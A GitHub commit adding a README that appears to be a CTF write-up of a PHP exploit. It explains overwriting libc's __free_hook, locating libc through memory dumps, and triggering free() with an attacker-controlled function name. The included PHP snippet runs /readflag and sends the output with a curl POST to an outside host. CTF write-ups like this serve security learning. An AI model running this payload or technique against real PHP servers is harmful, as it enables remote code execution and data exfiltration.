Skip to content

Commit 4364b34

Browse files
author
owodelta
authored
Create README.md
1 parent 4262ab9 commit 4364b34

File tree

1 file changed

+15
-0
lines changed

1 file changed

+15
-0
lines changed
+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
In this challenge we decided not to go with further php object corruption (ain't got no time for digging php internals). Instead we overwrote `__free_hook` in libc.
2+
3+
Now there are some problems as to how you can reliably get the offset to `__free_hook`. We solved it by dumping memory with the help of relative read and then finding the `/bin/sh` string inside that dump.
4+
This gives us the offset to the base of libc (while addresses could be dumped by reading `/proc/self/maps`).
5+
6+
The final stage of the exploit is to trigger `free()` with controlled data, this is done by triggering fatal error inside php by calling non-existent function with broken name that contains the command we want to execute.
7+
8+
```
9+
$a = ";/readflag > /tmp/sicemehackerman; curl -X POST http://REDACTED/ -d \"@/tmp/sicemehackerman\";#";
10+
try{
11+
$_SERVER['DEET'] = $a();
12+
}catch(Exception $e){
13+
echo("exception");
14+
}
15+
```

0 commit comments

Comments
 (0)